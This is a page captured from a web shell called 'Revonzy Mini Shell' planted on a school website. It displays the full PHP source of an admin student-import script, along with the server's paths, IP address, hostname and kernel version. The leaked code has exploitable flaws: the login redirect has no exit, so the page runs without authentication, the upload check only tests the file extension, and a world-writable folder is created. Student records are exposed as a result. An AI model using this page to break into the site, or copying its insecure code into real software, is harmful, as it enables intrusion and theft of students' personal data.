Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/kpmim.org/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/kpmim.org/admin/import-student-data.php

<?php

	require_once("lib/functions.php");
	$db = new login_function();
	
	$flag = 0;
	$select_error="";
	$machine_no_error	=	"";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
?>
<?php
	require_once('header.php');
?>
        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Import Students</h1>
					<?php
					if($flag == 2)
					{
					?>
						Student Saved Successfully.
					<?php
					}
					
					$message_1	=	"";
	$attachement_error ="";
					?>
                </div>
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                             Student Information Upload
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-12">
                                 
                                 <a href="/admin/import-sample-files/sample.xls">Download Upload Format</a><br />
                                 Note : If any value is not avaialable in cell, kindly fill it with "-" symbol<br /><br />
                                 
                                 
        <form name="import" method="post" enctype="multipart/form-data" style="text-align:left;"> 
		 <center>
			 <table>
				<tr>
		        	<td>
						Attach Data Excel File :
						</td>
						<td>
							<input type="file" name="photoimg" style="margin-left:10px;" />
						</td>
						<td>	
						  <label class="error_indicator"><?php  echo $attachement_error; ?></label>	
						</td>
				</tr>
				<tr>
					<td>
						<br />
					</td>
				</tr>
			</table>
			
			<input type="submit" name="save_btn" value="Upload Students Data" class="login_btn">
			</form>
			<br />
<div style="width:100%; text-align:left;">
<?php
	error_reporting(E_ERROR | E_PARSE);

function generateRandomString($length = 7) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}


	if(isset($_POST['save_btn']))
	{
		require("reader.php");
		
		$path	=	"excel/";
	
		if (!file_exists('excel/')) {
            mkdir('excel', 0777, true);
        }

		$name 				= 	$_FILES['photoimg']['name'];
		
		if(strlen($name))
		{
			$valid_formats = array("xlsx","xls");
			
			list($txt, $ext) = explode(".", $name);
			if(in_array($ext,$valid_formats))
			{
				$files	=	array();
				
				$tmp = $_FILES['photoimg']['tmp_name'];
				
				$num = rand(0,15200);
				
				$actual_image_name = session_id().$num.".".strtolower("xls");
				
				if(move_uploaded_file($tmp, $path.$actual_image_name))
				{
					
					
					$file	=	$path.$actual_image_name;
		//$file	=	$_FILES['photoimg']['name'];
		$connection=new Spreadsheet_Excel_Reader(); // our main object
		$connection->read($file);
		$startrow=1;
		
		# Get first sheet
		$sheet = $connection->sheets[0];
		 
		# Get all rows in the sheet
		$rows = $sheet['cells'];;
		 
		# Find total number of rows
		$rowCount = count($rows);

		$endrow=$rowCount;
		$col1=1;
		

		
		for($i=$startrow;$i<$endrow;$i++)
		{
			$prn_no		=	$connection->sheets[0]["cells"][$i][1];
			$f_name		=	$connection->sheets[0]["cells"][$i][2]; 
			$l_name		=	$connection->sheets[0]["cells"][$i][3]; 
			$dob		=	$connection->sheets[0]["cells"][$i][4];   
			$gender		=	$connection->sheets[0]["cells"][$i][5];
			$contact_no		=	$connection->sheets[0]["cells"][$i][6];
			$email_id		=	$connection->sheets[0]["cells"][$i][7];
			$address		=	$connection->sheets[0]["cells"][$i][8];
			$department		=	$connection->sheets[0]["cells"][$i][9];
			$semester		=	$connection->sheets[0]["cells"][$i][10];
			$division		=	$connection->sheets[0]["cells"][$i][11];
			$batch		=	$connection->sheets[0]["cells"][$i][12];
			$roll_no		=	$connection->sheets[0]["cells"][$i][13];

			$exsit = $db->check_email_exist_or_not_in_student($email_id);
			if($exsit!="")
			{
			    
				echo $i.") ".$prn_no." - ".$f_name." ".$l_name."<span style='color:red;'> -> Already exist</span><br />";
				$flag = 1;
			}
			else
			{
			   
			    $actual_image_name = "";
			    $password = generateRandomString();
			    
				if($db->add_student_data($prn_no,$f_name,$l_name,$department,$semester,$division,$roll_no,$email_id,$gender,$address,$dob,$contact_no,$actual_image_name,$password,$batch))
				{
					echo $i.") ".$prn_no." - ".$f_name." ".$l_name."<span style='color:Green;'> -> Student added successfully</span><br />";
					$flag = 2 ;
				}
			}
			
		//	$db->set_new_user_record($student_name,$stu_email,$contact_no,$address,$gender,$enroll_no,$year,$department,$semester);
			//$db->insert_record($student_name,$school_name,$standard,$seat_no,$marathi_english,$ganit,$buddimatta_v_parisar_abhyas,$total_marks,$shera);
			
		}
			
				}
				else
				{
					$attachement_error	=	"Failed to upload";
				}
			}
		}
		else
		{
			$attachement_error	=	"Please select file";
		}
	}
			?>
</div>                                  

                                   
                                   
                                </div>
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4